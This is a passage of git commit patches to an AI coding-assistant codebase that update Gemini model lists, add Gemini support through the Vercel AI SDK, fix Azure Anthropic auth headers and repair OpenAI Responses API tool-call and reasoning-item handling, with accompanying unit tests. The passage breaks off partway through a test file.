b/extensions/vscode/config_schema.json @@ -969,16 +969,12 @@ }, "model": { "enum": [ - "chat-bison-001", - "gemini-pro", - "gemini-2.0-flash-exp", - "gemini-2.0-flash", - "gemini-2.0-flash-thinking-exp-01-21", - "gemini-2.0-pro-exp-02-05", - "gemini-2.0-flash-lite-preview-02-05", - "gemini-2.0-flash-lite", - "gemini-2.0-flash-exp-image-generation", - "gemini-2.5-pro-latest" + "gemini-3-pro-preview", + "gemini-3-flash-preview", + "gemini-2.5-pro", + "gemini-2.5-flash", + "gemini-2.5-flash-lite", + "gemini-pro" ] } } diff --git a/gui/src/pages/AddNewModel/configs/models.ts b/gui/src/pages/AddNewModel/configs/models.ts index 594a43ff5..92d578daa 100644 --- a/gui/src/pages/AddNewModel/configs/models.ts +++ b/gui/src/pages/AddNewModel/configs/models.ts @@ -1027,49 +1027,6 @@ export const models: { [key: string]: ModelPackage } = { icon: "mistral.png", isOpenSource: true, }, - gemini20Flash: { - title: "Gemini 2.0 Flash", - description: - "Google's powerful workhorse model with low latency and enhanced performance.", - params: { - title: "Gemini 2.0 Flash", - model: "gemini-2.0-flash", - contextLength: 1_000_000, - apiKey: "", - }, - icon: "gemini.png", - providerOptions: ["gemini"], - isOpenSource: false, - }, - gemini20FlashLite: { - title: "Gemini 2.0 Flash Lite", - description: - "A more efficient version of Gemini 2.0 Flash optimized for faster responses and lower resource usage.", - params: { - title: "Gemini 2.0 Flash Lite", - model: "gemini-2.0-flash-lite", - contextLength: 1_048_576, - apiKey: "", - }, - icon: "gemini.png", - providerOptions: ["gemini"], - isOpenSource: false, - }, - gemini20FlashImageGeneration: { - title: "Gemini 2.0 Flash Image Generation", - description: - "A version of Gemini 2.0 Flash optimized for image generation capabilities.", - params: { - title: "Gemini 2.0 Flash Image Generation", - model: "gemini-2.0-flash-exp-image-generation", - contextLength: 32_768, - apiKey: "", - }, - icon: "gemini.png", - providerOptions: ["gemini"], - isOpenSource: false, - }, - gemini25Pro: { title: "Gemini 2.5 Pro", description: @@ -2003,20 +1960,6 @@ export const models: { [key: string]: ModelPackage } = { icon: "groq.png", isOpenSource: true, }, - asksagegemini20Flash: { - title: "Gemini 2.0 Flash*", - description: - "Google's powerful workhorse model with low latency and enhanced performance.", - params: { - title: "Gemini 2.0 Flash*", - model: "google-gemini-20-flash", - contextLength: 1_000_000, - apiKey: "", - }, - icon: "gemini.png", - providerOptions: ["askSage"], - isOpenSource: false, - }, asksagegemini25Pro: { title: "Gemini 2.5 Pro*", description: "Google's Gemini 2.5 Pro model", @@ -3113,20 +3056,6 @@ export const models: { [key: string]: ModelPackage } = { icon: "cometapi.png", isOpenSource: false, }, - cometapiGemini20Flash: { - title: "Gemini 2.0 Flash", - description: - "Gemini 2.0 Flash via CometAPI - Google's powerful workhorse model with low latency.", - params: { - model: "gemini-2.0-flash", - contextLength: 32_000, - title: "Gemini 2.0 Flash", - apiKey: "", - }, - providerOptions: ["cometapi"], - icon: "cometapi.png", - isOpenSource: false, - }, // Grok series models via CometAPI cometapiGrok40709: { diff --git a/gui/src/pages/AddNewModel/configs/providers.ts b/gui/src/pages/AddNewModel/configs/providers.ts index ce78d9a8d..c4c8a9a57 100644 --- a/gui/src/pages/AddNewModel/configs/providers.ts +++ b/gui/src/pages/AddNewModel/configs/providers.ts @@ -122,7 +122,6 @@ export const providers: Partial> = { models.cometapiGemini25Pro, models.cometapiGemini25Flash, models.cometapiGemini25FlashLite, - models.cometapiGemini20Flash, // xAI Grok family models.cometapiGrok40709, models.cometapiGrok3, @@ -1151,7 +1150,6 @@ To get started, [register](https://dataplatform.cloud.ibm.com/registration/stepo models.asksageclaude45sonnetgov, models.asksageclaude45opus, models.asksageclaude45haiku, - models.asksagegemini20Flash, models.asksagegemini25Pro, models.asksagegemini25flash, models.asksagegpt5, diff --git a/packages/config-yaml/src/schemas/commonSlugs.ts b/packages/config-yaml/src/schemas/commonSlugs.ts index 7baec5e8d..d287df515 100644 --- a/packages/config-yaml/src/schemas/commonSlugs.ts +++ b/packages/config-yaml/src/schemas/commonSlugs.ts @@ -12,7 +12,7 @@ export const commonModelSlugs = [ "openai/gpt-4o", "togetherai/llama-4-scout-instruct-17bx16e", "anthropic/claude-haiku-4-5", - "google/gemini-2.0-flash", + "google/gemini-2.5-flash", "voyageai/rerank-2", "anthropic/claude-opus-4-1", "ollama/deepseek-r1", From 6e0045e2047eddb36e2ba507e85e8125f8a0dc4b Mon Sep 17 00:00:00 2001 From: Aditya Mitra <61635505+uinstinct@users.noreply.github.com> Date: Wed, 25 Mar 2026 05:44:19 +0530 Subject: [PATCH 51/66] feat: support gemini through ai sdk (#10671) * add support for gemini in ai sdk * support thought signature conversion * capture extra_content in assistasnt tool calls * fix: update vercelStreamConverter tests for tool-call chunk emission The tool-call case now returns a chunk (for Gemini thoughtSignature support) instead of null, so tests need to expect the new behavior. --------- Co-authored-by: Nate Sesti <33237525+sestinj@users.noreply.github.com> Co-authored-by: Dallin Romney --- core/util/messageConversion.ts | 3 ++ extensions/cli/src/stream/handleToolCalls.ts | 1 + .../src/stream/streamChatResponse.helpers.ts | 5 +++ extensions/cli/src/tools/types.ts | 1 + packages/openai-adapters/package-lock.json | 17 ++++++++ packages/openai-adapters/package.json | 1 + packages/openai-adapters/src/apis/AiSdk.ts | 2 + .../src/openaiToVercelMessages.ts | 11 +++++ .../src/test/vercelStreamConverter.test.ts | 25 ++++++++--- .../src/vercelStreamConverter.ts | 41 ++++++++++++++++--- 10 files changed, 96 insertions(+), 11 deletions(-) diff --git a/core/util/messageConversion.ts b/core/util/messageConversion.ts index dff758699..0712b4d90 100644 --- a/core/util/messageConversion.ts +++ b/core/util/messageConversion.ts @@ -51,6 +51,7 @@ export function convertToUnifiedMessage( name: tc.function?.name || "", arguments: tc.function?.arguments || "", }, + ...(tc.extra_content && { extra_content: tc.extra_content }), })); } @@ -104,6 +105,7 @@ export function convertFromUnifiedMessage( name: tc.function?.name || "", arguments: tc.function?.arguments || "", }, + ...(tc.extra_content && { extra_content: tc.extra_content }), }), ); } @@ -270,6 +272,7 @@ export function convertToUnifiedHistory( name: tc.function?.name || "", arguments: tc.function?.arguments || "", }, + ...(tc.extra_content && { extra_content: tc.extra_content }), }; pendingToolCalls.set(toolCall.id, toolCall); diff --git a/extensions/cli/src/stream/handleToolCalls.ts b/extensions/cli/src/stream/handleToolCalls.ts index bc5d99176..c58206b56 100644 --- a/extensions/cli/src/stream/handleToolCalls.ts +++ b/extensions/cli/src/stream/handleToolCalls.ts @@ -87,6 +87,7 @@ export async function handleToolCalls( name: tc.name, arguments: JSON.stringify(tc.arguments), }, + ...(tc.extra_content && { extra_content: tc.extra_content }), })), }; diff --git a/extensions/cli/src/stream/streamChatResponse.helpers.ts b/extensions/cli/src/stream/streamChatResponse.helpers.ts index da3f34397..7b88b31c6 100644 --- a/extensions/cli/src/stream/streamChatResponse.helpers.ts +++ b/extensions/cli/src/stream/streamChatResponse.helpers.ts @@ -241,6 +241,11 @@ export function processToolCallDelta( // JSON not complete yet, continue } } + + // Capture extra_content + if (toolCallDelta.extra_content) { + toolCall.extra_content = toolCallDelta.extra_content; + } } // Helper function to detect provider from model name diff --git a/extensions/cli/src/tools/types.ts b/extensions/cli/src/tools/types.ts index fb8011ef1..612bd22ff 100644 --- a/extensions/cli/src/tools/types.ts +++ b/extensions/cli/src/tools/types.ts @@ -62,6 +62,7 @@ export interface ToolCall { arguments: any; argumentsStr: string; startNotified: boolean; + extra_content?: Record; } export interface PreprocessedToolCall extends ToolCall { diff --git a/packages/openai-adapters/package-lock.json b/packages/openai-adapters/package-lock.json index cc2b07d94..a30fb82b0 100644 --- a/packages/openai-adapters/package-lock.json +++ b/packages/openai-adapters/package-lock.json @@ -10,6 +10,7 @@ "license": "Apache-2.0", "dependencies": { "@ai-sdk/anthropic": "^3.0.44", + "@ai-sdk/google": "^3.0.30", "@ai-sdk/deepseek": "^2.0.20", "@ai-sdk/openai": "^3.0.29", "@ai-sdk/xai": "^3.0.57", @@ -96,6 +97,22 @@ "zod": "^3.25.76 || ^4.1.8" } }, + "node_modules/@ai-sdk/google": { + "version": "3.0.30", + "resolved": "https://registry.npmjs.org/@ai-sdk/google/-/google-3.0.30.tgz", + "integrity": "sha512-ZzG6dU0XUSSXbxQJJTQUFpWeKkfzdpR7IykEZwaiaW5d+3u3RZ/zkRiGwAOcUpLp6k0eMd+IJF4looJv21ecxw==", + "license": "Apache-2.0", + "dependencies": { + "@ai-sdk/provider": "3.0.8", + "@ai-sdk/provider-utils": "4.0.15" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "zod": "^3.25.76 || ^4.1.8" + } + }, "node_modules/@ai-sdk/openai": { "version": "3.0.30", "resolved": "https://registry.npmjs.org/@ai-sdk/openai/-/openai-3.0.30.tgz", diff --git a/packages/openai-adapters/package.json b/packages/openai-adapters/package.json index 6bef85dff..3f1470cc7 100644 --- a/packages/openai-adapters/package.json +++ b/packages/openai-adapters/package.json @@ -13,6 +13,7 @@ "license": "Apache-2.0", "dependencies": { "@ai-sdk/anthropic": "^3.0.44", + "@ai-sdk/google": "^3.0.30", "@ai-sdk/deepseek": "^2.0.20", "@ai-sdk/openai": "^3.0.29", "@ai-sdk/xai": "^3.0.57", diff --git a/packages/openai-adapters/src/apis/AiSdk.ts b/packages/openai-adapters/src/apis/AiSdk.ts index 6edfbbe41..95ae32a9b 100644 --- a/packages/openai-adapters/src/apis/AiSdk.ts +++ b/packages/openai-adapters/src/apis/AiSdk.ts @@ -1,4 +1,5 @@ import { createAnthropic } from "@ai-sdk/anthropic"; +import { createGoogleGenerativeAI } from "@ai-sdk/google"; import { createDeepSeek } from "@ai-sdk/deepseek"; import { createOpenAI } from "@ai-sdk/openai"; import { createXai } from "@ai-sdk/xai"; @@ -32,6 +33,7 @@ type AiSdkProviderCreator = (options: { const PROVIDER_MAP: Record = { openai: createOpenAI, anthropic: createAnthropic, + google: createGoogleGenerativeAI, xai: createXai, deepseek: createDeepSeek, openrouter: (options) => diff --git a/packages/openai-adapters/src/openaiToVercelMessages.ts b/packages/openai-adapters/src/openaiToVercelMessages.ts index 2740e7d76..4fab7e229 100644 --- a/packages/openai-adapters/src/openaiToVercelMessages.ts +++ b/packages/openai-adapters/src/openaiToVercelMessages.ts @@ -79,11 +79,22 @@ export function convertOpenAIMessagesToVercel( } catch { input = tc.function.arguments; } + + const thoughtSignature = (tc as any)?.extra_content?.google + ?.thought_signature as string | undefined; + contentParts.push({ type: "tool-call", toolCallId: tc.id, toolName: tc.function.name, input, + ...(thoughtSignature && { + providerOptions: { + google: { + thoughtSignature, + }, + }, + }), }); } } diff --git a/packages/openai-adapters/src/test/vercelStreamConverter.test.ts b/packages/openai-adapters/src/test/vercelStreamConverter.test.ts index 839e3a8c7..47216a95b 100644 --- a/packages/openai-adapters/src/test/vercelStreamConverter.test.ts +++ b/packages/openai-adapters/src/test/vercelStreamConverter.test.ts @@ -37,7 +37,7 @@ describe("convertVercelStreamPart", () => { expect(result?.choices[0].delta.content).toBe("Let me think..."); }); - test("returns null for tool-call (handled by tool-input-start/delta)", () => { + test("converts tool-call to chat chunk with tool_calls", () => { const part: VercelStreamPart = { type: "tool-call", toolCallId: "call_abc123", @@ -47,7 +47,19 @@ describe("convertVercelStreamPart", () => { const result = convertVercelStreamPart(part, options); - expect(result).toBeNull(); + expect(result).not.toBeNull(); + expect(result?.choices[0].delta.tool_calls).toHaveLength(1); + expect(result?.choices[0].delta.tool_calls?.[0]).toEqual( + expect.objectContaining({ + index: 0, + id: "call_abc123", + type: "function", + function: { + name: "readFile", + arguments: '{"filepath":"/path/to/file"}', + }, + }), + ); }); test("converts tool-input-delta to chat chunk", () => { @@ -224,9 +236,9 @@ describe("convertVercelStream", () => { chunks.push(chunk); } - // Should get chunks for: text-delta (2), tool-input-start (1), tool-input-delta (1), finish (1) = 5 - // start-step, tool-input-end, tool-call, and finish-step are filtered out - expect(chunks).toHaveLength(5); + // Should get chunks for: text-delta (2), tool-input-start (1), tool-input-delta (1), tool-call (1), finish (1) = 6 + // start-step, tool-input-end, and finish-step are filtered out + expect(chunks).toHaveLength(6); expect(chunks[0].choices[0].delta.content).toBe("Hello "); expect(chunks[1].choices[0].delta.content).toBe("world"); @@ -237,7 +249,8 @@ describe("convertVercelStream", () => { expect(chunks[3].choices[0].delta.tool_calls?.[0].function?.arguments).toBe( '{"arg":"value"}', ); - expect(chunks[4].usage).toBeDefined(); + expect(chunks[4].choices[0].delta.tool_calls?.[0].id).toBe("call_1"); + expect(chunks[5].usage).toBeDefined(); }); test("throws error when stream contains error event", async () => { diff --git a/packages/openai-adapters/src/vercelStreamConverter.ts b/packages/openai-adapters/src/vercelStreamConverter.ts index 53f4cc75a..18a313ba7 100644 --- a/packages/openai-adapters/src/vercelStreamConverter.ts +++ b/packages/openai-adapters/src/vercelStreamConverter.ts @@ -19,6 +19,14 @@ export type VercelStreamPart = toolCallId: string; toolName: string; input: Record; + providerMetadata?: { + google?: { + thoughtSignature?: string; + }; + vertex?: { + thoughtSignature?: string; + }; + }; } | { type: "tool-input-start"; @@ -126,11 +134,34 @@ export function convertVercelStreamPart( model, }); - case "tool-call": - // tool-call is emitted after tool-input-start/delta/end have already - // streamed the complete tool call. Emitting it again would duplicate - // the arguments. Skip it since streaming events already handled it. - return null; + case "tool-call": { + const thoughtSignature = + part.providerMetadata?.google?.thoughtSignature ?? + part.providerMetadata?.vertex?.thoughtSignature; + return chatChunkFromDelta({ + delta: { + tool_calls: [ + { + index: 0, + id: part.toolCallId, + type: "function" as const, + function: { + name: part.toolName, + arguments: JSON.stringify(part.input), + }, + ...(thoughtSignature && { + extra_content: { + google: { + thought_signature: thoughtSignature, + }, + }, + }), + } as any, + ], + }, + model, + }); + } case "finish": if (part.totalUsage) { From fd559bbc8eae6103707177028c99583124e74482 Mon Sep 17 00:00:00 2001 From: Sreeram Date: Tue, 24 Mar 2026 20:10:54 -0500 Subject: [PATCH 52/66] Sending x-api-key instead of api-key as header for azure hosted anthropic service (#11517) * Fix for sending x-api-key instead of api-key as header for newer azure hosted anthropic service * Update packages/openai-adapters/src/apis/AnthropicUtils.ts Co-authored-by: cubic-dev-ai[bot] <191113872+cubic-dev-ai[bot]@users.noreply.github.com> * fix: update test to expect x-api-key for Azure AI Foundry endpoints Azure AI Foundry (services.ai.azure.com) uses x-api-key, while only cognitiveservices.azure.com uses api-key. Update the test to match. --------- Co-authored-by: cubic-dev-ai[bot] <191113872+cubic-dev-ai[bot]@users.noreply.github.com> Co-authored-by: Dallin Romney --- packages/openai-adapters/src/apis/AnthropicUtils.test.ts | 6 +++--- packages/openai-adapters/src/apis/AnthropicUtils.ts | 5 ++++- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/packages/openai-adapters/src/apis/AnthropicUtils.test.ts b/packages/openai-adapters/src/apis/AnthropicUtils.test.ts index 7ed572c80..29e7f79c5 100644 --- a/packages/openai-adapters/src/apis/AnthropicUtils.test.ts +++ b/packages/openai-adapters/src/apis/AnthropicUtils.test.ts @@ -93,14 +93,14 @@ describe("getAnthropicHeaders", () => { expect(headers["api-key"]).toBeUndefined(); }); - it("uses api-key for Azure AI Foundry endpoint", () => { + it("uses x-api-key for Azure AI Foundry endpoint", () => { const headers = getAnthropicHeaders( "azure-key", false, "https://my-resource.services.ai.azure.com/anthropic", ); - expect(headers["api-key"]).toBe("azure-key"); - expect(headers["x-api-key"]).toBeUndefined(); + expect(headers["x-api-key"]).toBe("azure-key"); + expect(headers["api-key"]).toBeUndefined(); }); it("uses api-key for Azure Cognitive Services endpoint", () => { diff --git a/packages/openai-adapters/src/apis/AnthropicUtils.ts b/packages/openai-adapters/src/apis/AnthropicUtils.ts index 46b28e578..4e279a5ea 100644 --- a/packages/openai-adapters/src/apis/AnthropicUtils.ts +++ b/packages/openai-adapters/src/apis/AnthropicUtils.ts @@ -78,7 +78,10 @@ export function getAnthropicHeaders( ); } - const authHeaderName = isAzure ? "api-key" : "x-api-key"; + const authHeaderName = + isAzure && apiBase?.toLowerCase().includes("cognitiveservices.azure.com") + ? "api-key" + : "x-api-key"; const headers: Record = { "Content-Type": "application/json", From 02525d119b1a150e04428ec565e9626b0ebafb36 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Tue, 24 Mar 2026 18:55:06 -0700 Subject: [PATCH 53/66] fix(openai): fix Responses API 400 errors for reasoning, tool calls, and ID handling (#11785) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(openai): fix Responses API 400 errors for reasoning, tool calls, and ID handling Three categories of OpenAI Responses API 400 errors are addressed: 1. "No tool call found for function call output with call_id" — function_call items are now always emitted when tool calls exist (even without fc_ IDs), and orphaned function_call_output items are removed in post-processing. 2. "Item provided without its required 'reasoning' item" — reasoning items without encrypted_content (e.g. from saved sessions) are removed, and the id is stripped from subsequent function_call items so the API doesn't reject them for referencing a missing reasoning item. Trailing reasoning items not followed by a valid successor are also removed. 3. "Expected an ID that begins with 'fc'" — responsesOutputItemIds (which accumulates both msg_ and fc_ IDs during streaming) is now filtered to only fc_-prefixed IDs for function_call items, preventing msg_ IDs from being used where fc_ IDs are required. Co-authored-by: Luna <20552038+xxsLuna@users.noreply.github.com> Co-authored-by: Robert Benko <10097827+Quazistax@users.noreply.github.com> Co-authored-by: pallaprolus <162944051+pallaprolus@users.noreply.github.com> * fix(openai-adapters): don't duplicate tool call args in Vercel stream converter The tool-call event was re-emitting the full arguments that were already streamed via tool-input-start/delta, causing JSON.parse failures in consumers. Now tool-call only emits extra_content when a Gemini thoughtSignature is present, and returns null otherwise. --------- Co-authored-by: Luna <20552038+xxsLuna@users.noreply.github.com> Co-authored-by: Robert Benko <10097827+Quazistax@users.noreply.github.com> Co-authored-by: pallaprolus <162944051+pallaprolus@users.noreply.github.com> --- core/llm/openaiTypeConverters.test.ts | 457 +++++++++++++++--- core/llm/openaiTypeConverters.ts | 241 ++++++--- .../src/test/vercelStreamConverter.test.ts | 44 +- .../src/vercelStreamConverter.ts | 18 +- 4 files changed, 611 insertions(+), 149 deletions(-) diff --git a/core/llm/openaiTypeConverters.test.ts b/core/llm/openaiTypeConverters.test.ts index b0c63862f..f597f0022 100644 --- a/core/llm/openaiTypeConverters.test.ts +++ b/core/llm/openaiTypeConverters.test.ts @@ -1,50 +1,42 @@ -import { toResponsesInput } from "./openaiTypeConverters"; +import { toResponsesInput, isItemType } from "./openaiTypeConverters"; import { ChatMessage } from ".."; -import type { ResponseInputItem } from "openai/resources/responses/responses.mjs"; +import type { + EasyInputMessage, + ResponseInputItem, + ResponseFunctionToolCall, + ResponseReasoningItem, + ResponseOutputMessage, +} from "openai/resources/responses/responses.mjs"; -// Types for test assertions (simplified from OpenAI types) -type FunctionCallItem = { - type: "function_call"; - id: string; - name: string; - arguments: string; - call_id: string; -}; - -type FunctionCallOutputItem = { - type: "function_call_output"; - call_id: string; - output: string; -}; - -type MessageItem = { - role: string; - content: unknown; -}; - -// Helper functions for filtering results -function getFunctionCalls(items: ResponseInputItem[]): FunctionCallItem[] { - return items.filter( - (item) => (item as { type?: string }).type === "function_call", - ) as unknown as FunctionCallItem[]; +function getFunctionCalls( + items: ResponseInputItem[], +): ResponseFunctionToolCall[] { + return items.filter((i): i is ResponseFunctionToolCall => + isItemType(i, "function_call"), + ); } function getFunctionCallOutputs( items: ResponseInputItem[], -): FunctionCallOutputItem[] { - return items.filter( - (item) => (item as { type?: string }).type === "function_call_output", - ) as unknown as FunctionCallOutputItem[]; +): ResponseInputItem.FunctionCallOutput[] { + return items.filter((i): i is ResponseInputItem.FunctionCallOutput => + isItemType(i, "function_call_output"), + ); } -function getMessagesByRole( +function getReasoningItems( items: ResponseInputItem[], - role: string, -): MessageItem[] { +): ResponseReasoningItem[] { + return items.filter((i): i is ResponseReasoningItem => + isItemType(i, "reasoning"), + ); +} + +function getMessagesByRole(items: ResponseInputItem[], role: string) { return items.filter((item) => { - const msg = item as { role?: string; type?: string }; - return msg.role === role && (!msg.type || msg.type === "message"); - }) as unknown as MessageItem[]; + if (!("role" in item) || item.role !== role) return false; + return !("type" in item) || item.type === "message"; + }); } describe("openaiTypeConverters", () => { @@ -82,7 +74,7 @@ describe("openaiTypeConverters", () => { expect(functionCalls[0].name).toBe("filesystem_list_directory"); }); - it("should NOT emit function_call when no fc_ ID in metadata", () => { + it("should emit function_call WITHOUT id when no fc_ ID in metadata", () => { const messages: ChatMessage[] = [ { role: "assistant", @@ -103,8 +95,11 @@ describe("openaiTypeConverters", () => { const result = toResponsesInput(messages); + // Should still emit function_call (without id) so tool results aren't orphaned const functionCalls = getFunctionCalls(result); - expect(functionCalls.length).toBe(0); + expect(functionCalls.length).toBe(1); + expect(functionCalls[0].id).toBeUndefined(); + expect(functionCalls[0].call_id).toBe("call_xyz"); // Text should still be emitted const assistantMessages = getMessagesByRole(result, "assistant"); @@ -137,13 +132,61 @@ describe("openaiTypeConverters", () => { expect(functionCalls.length).toBe(1); expect(assistantMessages.length).toBe(1); - expect(assistantMessages[0].content).toBe("Let me help you with that."); + expect((assistantMessages[0] as EasyInputMessage).content).toBe( + "Let me help you with that.", + ); + }); + + it("should filter out msg_ IDs from responsesOutputItemIds", () => { + // When streaming, both msg_ and fc_ IDs accumulate in responsesOutputItemIds. + // Only fc_ IDs should be used for function_call items. + const messages: ChatMessage[] = [ + { + role: "assistant", + content: "Let me read those files.", + toolCalls: [ + { + id: "call_001", + type: "function", + function: { + name: "read_file", + arguments: '{"path":"test.py"}', + }, + }, + ], + metadata: { + // msg_ ID came first (from message output_item.added), + // fc_ ID came second (from function_call output_item.added) + responsesOutputItemIds: ["msg_abc123", "fc_001"], + responsesOutputItemId: "fc_001", + }, + } as ChatMessage, + ]; + + const result = toResponsesInput(messages); + + const functionCalls = getFunctionCalls(result); + expect(functionCalls.length).toBe(1); + // Must use fc_ ID, not msg_ ID + expect(functionCalls[0].id).toBe("fc_001"); + expect(functionCalls[0].call_id).toBe("call_001"); }); }); describe("function_call_output handling", () => { - it("should emit function_call_output for tool role messages", () => { + it("should emit function_call_output when preceded by matching function_call", () => { const messages: ChatMessage[] = [ + { + role: "assistant", + content: "", + toolCalls: [ + { + id: "call_abc123", + type: "function", + function: { name: "list_files", arguments: "{}" }, + }, + ], + } as ChatMessage, { role: "tool", content: '{"files": ["a.txt", "b.txt"]}', @@ -157,9 +200,25 @@ describe("openaiTypeConverters", () => { expect(outputs.length).toBe(1); expect(outputs[0].call_id).toBe("call_abc123"); }); + + it("should remove orphaned function_call_output with no matching function_call", () => { + const messages: ChatMessage[] = [ + { + role: "tool", + content: '{"files": ["a.txt", "b.txt"]}', + toolCallId: "call_abc123", + } as ChatMessage, + ]; + + const result = toResponsesInput(messages); + + // Orphaned — no function_call with call_id "call_abc123" exists + const outputs = getFunctionCallOutputs(result); + expect(outputs.length).toBe(0); + }); }); - // Complete conversation flow tests (moved out of describe block to reduce nesting) + // Complete conversation flow tests it("should handle full tool call cycle with fc_ IDs", () => { const messages: ChatMessage[] = [ { @@ -204,8 +263,6 @@ describe("openaiTypeConverters", () => { }); it("should handle parallel tool calls merged into ONE message with responsesOutputItemIds array", () => { - // This is the REAL scenario: streaming parallel tool calls get merged into - // ONE ChatMessage with multiple toolCalls and an array of fc_ IDs const messages: ChatMessage[] = [ { role: "user", @@ -241,12 +298,10 @@ describe("openaiTypeConverters", () => { }, ], metadata: { - // Array of fc_ IDs, one per tool call responsesOutputItemIds: ["fc_001", "fc_002", "fc_003"], - responsesOutputItemId: "fc_003", // Also keep last one for backwards compat + responsesOutputItemId: "fc_003", }, } as ChatMessage, - // Tool results { role: "tool", content: "# Python code", @@ -269,7 +324,6 @@ describe("openaiTypeConverters", () => { const functionCalls = getFunctionCalls(result); expect(functionCalls.length).toBe(3); - // Verify each function_call has correct fc_ ID and call_id expect(functionCalls[0].id).toBe("fc_001"); expect(functionCalls[0].call_id).toBe("call_001"); expect(functionCalls[1].id).toBe("fc_002"); @@ -282,13 +336,11 @@ describe("openaiTypeConverters", () => { }); it("should handle 3 parallel tool calls when each has its own fc_ ID (separate messages)", () => { - // Legacy scenario: Each function_call from OpenAI creates a separate ChatMessage const messages: ChatMessage[] = [ { role: "user", content: "Read these 3 files", }, - // First tool call { role: "assistant", content: "", @@ -304,7 +356,6 @@ describe("openaiTypeConverters", () => { ], metadata: { responsesOutputItemId: "fc_001" }, } as ChatMessage, - // Second tool call { role: "assistant", content: "", @@ -320,7 +371,6 @@ describe("openaiTypeConverters", () => { ], metadata: { responsesOutputItemId: "fc_002" }, } as ChatMessage, - // Third tool call { role: "assistant", content: "", @@ -336,7 +386,6 @@ describe("openaiTypeConverters", () => { ], metadata: { responsesOutputItemId: "fc_003" }, } as ChatMessage, - // Tool results { role: "tool", content: "# Python code", @@ -368,6 +417,293 @@ describe("openaiTypeConverters", () => { expect(functionOutputs.length).toBe(3); }); + describe("reasoning item sanitization", () => { + it("should remove reasoning items without encrypted_content", () => { + const messages: ChatMessage[] = [ + { + role: "thinking", + content: "", + reasoning_details: [ + { type: "reasoning_id", id: "rs_001" }, + { type: "summary_text", text: "Thinking about the problem" }, + // No encrypted_content + ], + metadata: { reasoningId: "rs_001" }, + } as ChatMessage, + { + role: "assistant", + content: "Here is the answer.", + metadata: { responsesOutputItemId: "msg_001" }, + } as ChatMessage, + ]; + + const result = toResponsesInput(messages); + + const reasoning = getReasoningItems(result); + expect(reasoning.length).toBe(0); + + // Assistant message should still be present + const assistantMsgs = getMessagesByRole(result, "assistant"); + expect(assistantMsgs.length).toBe(1); + }); + + it("should keep reasoning items WITH encrypted_content followed by function_call", () => { + const messages: ChatMessage[] = [ + { + role: "thinking", + content: "", + reasoning_details: [ + { type: "reasoning_id", id: "rs_001" }, + { type: "summary_text", text: "Let me use a tool" }, + { + type: "encrypted_content", + encrypted_content: "encrypted_data_here", + }, + ], + metadata: { reasoningId: "rs_001" }, + } as ChatMessage, + { + role: "assistant", + content: "", + toolCalls: [ + { + id: "call_001", + type: "function", + function: { name: "read_file", arguments: '{"path":"a.txt"}' }, + }, + ], + metadata: { + responsesOutputItemIds: ["fc_001"], + }, + } as ChatMessage, + ]; + + const result = toResponsesInput(messages); + + const reasoning = getReasoningItems(result); + expect(reasoning.length).toBe(1); + expect(reasoning[0].id).toBe("rs_001"); + + const functionCalls = getFunctionCalls(result); + expect(functionCalls.length).toBe(1); + expect(functionCalls[0].id).toBe("fc_001"); + }); + + it("should strip fc_ id from function_calls after removed reasoning", () => { + const messages: ChatMessage[] = [ + { + role: "thinking", + content: "", + reasoning_details: [ + { type: "reasoning_id", id: "rs_001" }, + // No encrypted_content — will be removed + ], + metadata: { reasoningId: "rs_001" }, + } as ChatMessage, + { + role: "assistant", + content: "", + toolCalls: [ + { + id: "call_001", + type: "function", + function: { name: "read_file", arguments: '{"path":"a.txt"}' }, + }, + ], + metadata: { + responsesOutputItemIds: ["fc_001"], + }, + } as ChatMessage, + { + role: "tool", + content: "file contents", + toolCallId: "call_001", + } as ChatMessage, + ]; + + const result = toResponsesInput(messages); + + // Reasoning should be removed + const reasoning = getReasoningItems(result); + expect(reasoning.length).toBe(0); + + // function_call should still be emitted but without id + // (so API doesn't look for the missing reasoning) + const functionCalls = getFunctionCalls(result); + expect(functionCalls.length).toBe(1); + expect(functionCalls[0].id).toBeUndefined(); + expect(functionCalls[0].call_id).toBe("call_001"); + + // function_call_output should still match + const outputs = getFunctionCallOutputs(result); + expect(outputs.length).toBe(1); + expect(outputs[0].call_id).toBe("call_001"); + }); + + it("should strip msg_ id from message after removed reasoning", () => { + // When reasoning is removed, a following message item's msg_ ID + // also references that reasoning — must be stripped too. + const messages: ChatMessage[] = [ + { + role: "thinking", + content: "", + reasoning_details: [ + { type: "reasoning_id", id: "rs_001" }, + // No encrypted_content — will be removed + ], + metadata: { reasoningId: "rs_001" }, + } as ChatMessage, + { + role: "assistant", + content: "Here is the answer.", + metadata: { responsesOutputItemId: "msg_001" }, + } as ChatMessage, + ]; + + const result = toResponsesInput(messages); + + const reasoning = getReasoningItems(result); + expect(reasoning.length).toBe(0); + + // Message should still exist but without its msg_ ID + const assistantMsgs = getMessagesByRole(result, "assistant"); + expect(assistantMsgs.length).toBe(1); + expect((assistantMsgs[0] as ResponseOutputMessage).id).toBeUndefined(); + }); + + it("should recover encrypted_content from metadata fallback", () => { + // When reasoning_details doesn't contain encrypted_content but + // metadata does (e.g. metadata was preserved but details were incomplete) + const messages: ChatMessage[] = [ + { + role: "thinking", + content: "", + reasoning_details: [ + { type: "reasoning_id", id: "rs_001" }, + { type: "summary_text", text: "Thinking..." }, + // No encrypted_content in reasoning_details + ], + metadata: { + reasoningId: "rs_001", + encrypted_content: "recovered_encrypted_data", + }, + } as ChatMessage, + { + role: "assistant", + content: "", + toolCalls: [ + { + id: "call_001", + type: "function", + function: { name: "read_file", arguments: '{"path":"a.txt"}' }, + }, + ], + metadata: { responsesOutputItemIds: ["fc_001"] }, + } as ChatMessage, + ]; + + const result = toResponsesInput(messages); + + // Reasoning should be KEPT because encrypted_content was recovered from metadata + const reasoning = getReasoningItems(result); + expect(reasoning.length).toBe(1); + expect(reasoning[0].encrypted_content).toBe("recovered_encrypted_data"); + + // function_call should keep its id since reasoning is present + const functionCalls = getFunctionCalls(result); + expect(functionCalls.length).toBe(1); + expect(functionCalls[0].id).toBe("fc_001"); + }); + + it("should remove trailing reasoning items (no valid successor)", () => { + const messages: ChatMessage[] = [ + { + role: "user", + content: "Hello", + }, + { + role: "thinking", + content: "", + reasoning_details: [ + { type: "reasoning_id", id: "rs_001" }, + { + type: "encrypted_content", + encrypted_content: "encrypted_data", + }, + ], + metadata: { reasoningId: 